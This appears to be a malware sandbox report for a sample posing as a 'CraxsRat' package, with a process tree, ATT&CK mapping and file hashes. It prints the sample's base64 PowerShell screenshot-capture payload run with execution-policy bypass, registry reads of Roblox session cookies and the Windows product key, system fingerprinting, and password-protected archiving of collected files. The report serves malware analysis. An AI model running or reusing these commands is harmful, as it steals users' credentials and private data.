AAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
3⤵
- Suspicious use of WriteProcessMemory
PID:2384

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4624

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\psl4jp5k\psl4jp5k.cmdline"
5⤵
PID:1072

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEA0F.tmp" "c:\Users\Admin\AppData\Local\Temp\psl4jp5k\CSC8DC8E3F216BC4F14A555CA33CA5E4083.TMP"
6⤵
PID:3024

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
3⤵
PID:1132

C:\Windows\system32\tree.com
tree /A /F
4⤵
PID:1496

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
3⤵
PID:3212

C:\Windows\system32\attrib.exe
attrib -r C:\Windows\System32\drivers\etc\hosts
4⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:1944

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
3⤵
PID:3960

C:\Windows\system32\tree.com
tree /A /F
4⤵
PID:3416

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
3⤵
PID:3052

C:\Windows\system32\attrib.exe
attrib +r C:\Windows\System32\drivers\etc\hosts
4⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:4192

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
3⤵
PID:1424

C:\Windows\system32\tree.com
tree /A /F
4⤵
PID:1396

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
3⤵
PID:4580

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1136

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
3⤵
PID:4612

C:\Windows\system32\tree.com
tree /A /F
4⤵
PID:4364

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
3⤵
PID:2356

C:\Windows\system32\tree.com
tree /A /F
4⤵
PID:2560

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
3⤵
PID:1400

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:508

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
3⤵
PID:2700

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2032

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "getmac"
3⤵
PID:4864

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:4364

C:\Windows\system32\getmac.exe
getmac
4⤵
PID:4612

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI44602\rar.exe a -r -hp"5534" "C:\Users\Admin\AppData\Local\Temp\h6Fw1.zip" *"
3⤵
PID:5068

C:\Users\Admin\AppData\Local\Temp\_MEI44602\rar.exe
C:\Users\Admin\AppData\Local\Temp\_MEI44602\rar.exe a -r -hp"5534" "C:\Users\Admin\AppData\Local\Temp\h6Fw1.zip" *
4⤵
- Executes dropped EXE
PID:5100

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic os get Caption"
3⤵
PID:536

C:\Windows\System32\Wbem\WMIC.exe
wmic os get Caption
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3400

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
3⤵
PID:4748

C:\Windows\System32\Wbem\WMIC.exe
wmic computersystem get totalphysicalmemory
4⤵
PID:392

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
3⤵
PID:3700

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
4⤵
PID:1852

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
3⤵
PID:3620

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4032

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
3⤵
PID:4204

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
4⤵
- Detects videocard installed
PID:1420

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
3⤵
PID:4396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:2056

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\CraxsRat.exe""
3⤵
PID:4664

C:\Windows\system32\PING.EXE
ping localhost -n 3
4⤵
- Runs ping.exe
PID:372

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:4192

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Process Discovery

T1057

Remote System Discovery

T1018

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Web Service

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m1mtcy3k.ggv.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\DrakeUI.Framework.dll
Filesize
1.6MB

MD5
0562b4c97f643306df491a938ae636da

SHA1
0807c37b711374ed4814a9518c9e264517de89a0

SHA256
70e72477f7fe0018e043ce8fe2228a289459058ee41caecd6f05855898bc5b80

SHA512
c969cd274b6bf65a34f1d129b6531616a3485a1f153088609ad2369d380fdec37c3e88a423495912715a26e353dd5498f7f9e73c895e9f3f18fc7d1e65d2ecaf

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\GeoIPCitys.dll
Filesize
191KB

MD5
c070f2421851420e832e4f5989a775a2

SHA1
d6af3c48ffbe0fa1e0e54860836d3bbf374b8b46

SHA256
d54fd6c5903eea49a75d620d4ba232f8effb1863f5f9c974e4ac0a8fb1904131

SHA512
75c3edeb4c16d8e82eedc5595b9c3fde4cbd4a3e9deae1967ad513474920a48e4e9275fdc76f44032b1be570a4ece1a6393c4680af8989f67bcdec039d06798e

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\LiveCharts.WinForms.dll
Filesize
19KB

MD5
76c775d09b24798f6923452e920979b5

SHA1
3fe2c79512a0d1153fb07f6640b27106c90d333e

SHA256
a5b61c1726304e6b72e09a0f35ddbf52f89a75a4e28e6ed098c8d1df6081b4ad

SHA512
eacc093f8ac9401f617df7e07fd68a8a0f1f03aa150283de67ad8c338fcb1520b0f07335547cf533a646ff95f239c92b029f952a706e736bcd9508817c9be0f9

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\LiveCharts.Wpf.dll
Filesize
212KB

MD5
e924f79f0b5f3e79c98477d75831813d

SHA1
64f71e20e1953b13c771d8a8e63549ad6d64216e

SHA256
1bdbb1b5c1a50653e5c26161e9b7c03edc518721a6e10ea180a84049d967106b

SHA512
063e9bdbdaf0accb46cef5fdb98b30a97b8a6ba097a80d43a9799ff73e820d1c56d41ca9f71d94497736e3def7fbd0109db4000ab1d9e46cdc96357bf3e15fd1

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\LiveCharts.dll
Filesize
148KB

MD5
9642899636959b7fc89bf34a8b998a90

SHA1
479a0254d1c9e5565c7d861bb77f54b7eae50c96

SHA256
9fcf89837b60f69c1c501e4cfa4d2860887afd0b8f325803367e795a4e3bc9ca

SHA512
435dccb57ff3e9d0663770768c866838b19fbaa5b8e79de0ca111d9c73276f016e016d1d268f72cf3435ecac122039764fada952e1a4f68f368b492bb866c9a2

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\Config\Pass.inf
Filesize
24B

MD5
61d7a3d4b12c9e76bacd81da186f3b95

SHA1
504e1e1a6d27d8d51f9f76b1a0ffe9cbfaaea02f

SHA256
d3954c967def4add55109205a88134b7501784d71cbed3334f45203c57b0c443

SHA512
4a18990259233e1b86c8ea0a523eb83e3dfb31d0a2e487b4cdf367ba239f9a1f35160081c0c2ae12875b988f86ab571e872e1367acca8e1810ec1aec3e9e63ed

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\-1.ico
Filesize
33KB

MD5
410e4dba1b3e1acd689425d024f3fd56

SHA1
d38fcae133db0cff918dc455acd8ffa437989659

SHA256
e10518132ded7ee51739953121f6efe77412aa85bd744ea7b256a5a6da751e44

SHA512
cac41002ef9ffe4592a0949ebb3a21b3837645838e623d3a188f7e70b6c82b2253c586a6a9395007849da0ef94d6dc47bcfce9cde554e8b6becdaf21082cf014

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\AD.ico
Filesize
33KB

MD5
2cce7e02f2decbdcf648cc249eeabbfc

SHA1
4a9cc2ab3162a949d5f559ac2828813da7aaa6d2

SHA256
ffd5e4016c4bc247f49ded9d4ac463e7bd9d7f92c9889528f5f3a865dc8234e2

SHA512
be3d96046ec50bfd8e4399d1268856d0cc1f541635896ad128d660660294cfd98f79998dfa46849a2e6e5aa3e637626a94a062ab694444b7210f69b3a55d1686

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\AE.ico
Filesize
33KB

MD5
5c22046c8b4f37adbd0f41a811238d5e

SHA1
e3c49202f86ff0718f169ce4cb82570457891bd3

SHA256
0759c987d55b3e2bc78ea1761d451b0b40928865c5b5652ef7b304426bc1dab9

SHA512
655c129c7456ce083a9eec235e04b871a16c4226f7cb1aa2ac4b119770b24ac61036950b0a77257af96352318a991037a1b9b5e2925ca84272995dd8135abca8

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\AF.ico
Filesize
33KB

MD5
e18c650283441dfbdc3aa46a414f326c

SHA1
eda65607858d6b93db9ca4a9f20cac382cb685db

SHA256
ecf99e08bf15aca4325c4790ee20ccc674b6f4fc6dbbef0885f36bf8e6e8aa68

SHA512
f10cd2a31390bbb06546052214a817153f35ed9b5c5403995267e1e9b4987630c08ddf7db414146211b8cfb4769949cd660060bd2a5c8a51bf5bc381372a6673

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\AG.ico
Filesize
33KB

MD5
93f8d14b56bf5f257f87ea438c7a3601

SHA1
31b71ace333e016408af2f18290463389206d1c0

SHA256
8e36c85a8ba6b92ea906d4dcda412b492449e668fac3b05f5fc512118fa71e5f

SHA512
a70adeb933e65ba11b28d11fad9a2eae29a623013f9bd8383afa5c794f214a6820f797f03f1714759bd38356b160b9c1e159dfcecbfa7e95f4ce2b24bfb24cf5

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\AI.ico
Filesize
33KB

MD5
2d5ee470e51e769e649109d2721937d3

SHA1
89bb18a904dc2857e52cff3a384df50858d5e17c

SHA256
08afe88e8a0475e320c6da70ff530ada3a6fb426051a6337a769c14dc37ae316

SHA512
d6801a6b238a9779b0b8829f79412c227ed8480ec060e3d1992c9b1024c94a8f1f6ed32097c8a93a6f2600ad68b2ac537fba5f0982a41fef01a832994cc0cc20

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\AL.ico
Filesize
33KB

MD5
5dbcdfb9a2f9120ba42006c997e22b42

SHA1
01fe537ccabec19b252e07ed6ab557a46a70e6df

SHA256
8f726d2132b2b7764936aaffb52ef7b0271abf857949588c36b32fb3c769bcc4

SHA512
519b0757a1bba205915aea9f8bb715072420fae126a4917f146c9ea7567fc231d74f93ded8dead86dcffb0fc293de1a4c85a161dd894b490e57806df67cf01da

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\AM.ico
Filesize
33KB

MD5
16782d3d013fbdd1277424363dd8a0ad

SHA1
c26e1fd52de7ceb24af6f01fb4486d39e1932bfe

SHA256
faf3d661a09912ff0c1f6cc92dd8775c3d2be31e9a72fe0962c144d679021d86

SHA512
44bda0a5d59f1ead6939a6af13b81ab23b28be44a61e7e736d5e21cbfee813a3a44c5832b16036717f0e18a418dc449b5c3aa1e0f05c4830cb3b64698ce0901a

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\AN.ico
Filesize
33KB

MD5
ed05e0515da2b4c11d839493abf8d44b

SHA1
8862a2bd75632d916fdd049b31f2155ac7894524

SHA256
8f641c948721c9e7e92f28224b8b1beeb27382e5bac8a4014a57537dd7543a8d

SHA512
31613012f4ea1da8d1318f69e6e9a4be068e9e490f01ef0e1f880b33f50d715d92d7498ca99223ce81d6656ccc4293a7fbd272939e99dbc21d62176a6c6d9553

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\AO.ico
Filesize
33KB

MD5
a5c78266329a1eb0f3e52bc0343783b5

SHA1
e0b254e2176f0eab8d2b76213a64c24ba1788675

SHA256
550a1b6e2b97febd865cd130b0c0d484cf2fd02b8066ddf6d7290b9cffb35059

SHA512
61a7bf67f9019e5f4c653246e1844703619d6421c3625c963862ee9b0b3975b26ce2f785c9b3cc79e77181c098f0e3d60c9f0e21203928117c6cd45f104af36f

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\AQ.ico
Filesize
33KB

MD5
be6fa7ab4980735841141d4d3f642a4a

SHA1
c6d03cda7f73a959a3d20d0e3897595fbe2915e9

SHA256
3439ebcdd8e7a614f157f58d7f77d190aac7fe514129a01024a8b68b7008fbb2

SHA512
fbc116df306de7a04f43cb2becfecbbaf103d6b252336e0bd37f006506140ceb14f114cdf62e203bc12f78c25906066385eb6caa67f694d8526b341bcf3462f2

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\AR.ico
Filesize
33KB

MD5
bb4f489b2ae1f6601513296357fb478b

SHA1
b8337772e2e17d48412f44373ea8a821b85e9c54

SHA256
af2f591584f6c59da15fd42e5175dc136844442e1c755fac047b0efae3956c50

SHA512
547e0753a1ac4058ec609ddd2d6ce54b50cc47177ee319f5bcc82eca9e231d01d74b7c2d02de90557c08224bed962c74f8c4079a1292153cbff32db234ddf6a6

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\AS.ico
Filesize
33KB

MD5
caba1e66c954bc8d784efe2a3c02d808

SHA1
ef1d5ba4735c99b55648503513d9ae7393a3a6d6

SHA256
4946c58e14318696ea03cf9bcb5d8a7334273c2f9e30173a3c7ae0bb7ee70bc4

SHA512
430806d048e383411e36a8e3777a27b7efc1819cca50c7d7eeba662d32351a366d3cc0b892f819b6a96db8281c5e249d3faef13e8a4ec3bef75e67b9567bd466

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\AT.ico
Filesize
33KB

MD5
8effa2f5bbcecf6415b04f9408c0a65d

